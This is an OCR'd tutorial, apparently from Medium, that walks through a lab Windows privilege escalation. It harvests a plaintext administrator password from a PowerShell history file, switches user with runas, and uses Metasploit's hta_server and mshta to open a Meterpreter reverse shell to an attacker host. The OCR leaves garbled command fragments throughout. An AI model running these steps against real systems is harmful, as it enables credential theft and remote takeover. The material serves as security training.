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Windows Privilege escalation via Powershell History

PowerShell.exe terminal stores all the PS commands history in a text file. When an administrator has used hard-
coded credentials to perform any operation on the regular user i.e student user environment using PowerShell
then, it would become necessary to clean the PowerShell command history. If an administrator forgets to clean up
the history, then the admin user has exposed some sensitive information like credentials, configuration settings,

etc.

The default location for the PowerShell command history:
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell[\PSReadline\ConsoleHost_history.txt
ie
C:\Users\student\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Press enter or click to view image in full size

EN Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

:\Users\student> whoami
\student

:\Users\student> _

Checking PowerShell History.

Press enter or click to view image in full size
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Length Name

2855 ConsoleHost _history.txt

s\PowerShell\PSReadlLine> nsoleHost_histor

PowerShell History.

Press enter or click to view image in full size

Enabled,
-Force | se

| findstr “DefaultUserMame Defaul ainName Default

We can notice, the ConsoleHost_history.txt file contains all the PS executed commands. We could easily go
through it line by line or we can run filters using the Select-String cmdlet. In this case, we will be looking at the

file manually.
Hunting for credentials.
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'administrator’
convertto-securestring "alita_123321" -asplaintext -force I
==

fusername
$password

obtained creds:

administrator: alita_123321

Get Michael Koczwara’s stories in your inbox

Join Medium for free to get updates from this writer.
Remember me for faster sign in
Logging as administrator

Press enter or click to view image in full size

PS C:\> runas.exe fuser:administrator cmd

Enter the password for administrator:

Attempting to start cmd as user "PRIV-ESCh\administrator™
PS C:\>»

BN Administrator: cmd (running as PRIV-ESC\administrator)

Microsoft Windows [Version 10.0.17763.1457]

(c) 2018 Microsoft Corporation. All rights

>whoami
Tonr

Setting up Metasploit in order to gain remote access.
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2052 exploits - 1108 auxiliary - 344 post
566 payloads - 45 encoders - 10 nops
7 evasion

ip: Use the command to open the currently active module in your editor

Setting up hta_server.
Press enter or click to view image in full size

msf5 > use exploit/windows/misc/hta_server
No payload configured, defaulting to windows/meterpreter/reverse tcp

msf5 exploit( I |

Press enter or click to view image in full size

msf5 > use exploit/windows/misc/hta_server

No payload confiqured, defaulting to windows/meterpreter/reverse tcp
msf5 exploit( ) > run

Exploit running as background job ©.

Exploit completed, but no session was created.

Started reverse TCP handler on 10.10.5.6:4444
Using URL: http://0.0.0.0:8080/mIqmxErIgdZNP.hta
Local IP: http://10.10.5.6:8080/mIgmxErIgdZNP.hta
Server started.

msf5 exploit( I |

“This module hosts an HTML Application (HTA) that when opened will run a payload via Powershell.”

Executing the payload.
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PS C:\> runas.exe fuser:administrator cmd

Enter the password for administrator:

ttempting to start cmd as user "PRIV-ESC\administrator™ ...
PS C:\>

BH Administrator: emd (running as PRIV-ESC\administrator)

Microsoft Windows [Version 10.8.17763.1457]
(c) 2018 Microsoft Corporation. All rights re

32>whoami
priv-escladministrate

C:\Window 2 >ms //16 888/mIgmxErIgdZNP.hta

Meterpreter/C2 channel.

Press enter or click to view image in full size

hta_server - Delivering Payload
(176195 bytes)

ion 1 opened ' 444 -> 10.2.30.72:4976 : B3-14 21 9 +85

- sessions

Connection

16.16.5.6:4444 -= 10 9768 (10.2.30.72)

Shell access.
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msf5 exploit(

=> 108.2.30,72:49768 (10.2.30.72)

loit(
ting interaction with 1...

on 16.8.17763.1457]
ration. All rights re:

On Windows hosts, PowerShell has two different command history providers: the built-in history and the
command history managed by the PSReadlLine module. The built-in history only tracks the commands used in

the current session. This command history is not available to other sessions and is deleted when the session ends.

The PSReadlLine command history tracks the commands used in all PowerShell sessions and writes them to a file
( $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt by default). This history

file is available to all sessions and contains all past history since the file is not deleted when the session ends.

Adversaries may run the PowerShell command Clear-History to flush the entire command history from a

current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file.

Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide the PowerShell

commands they have run.
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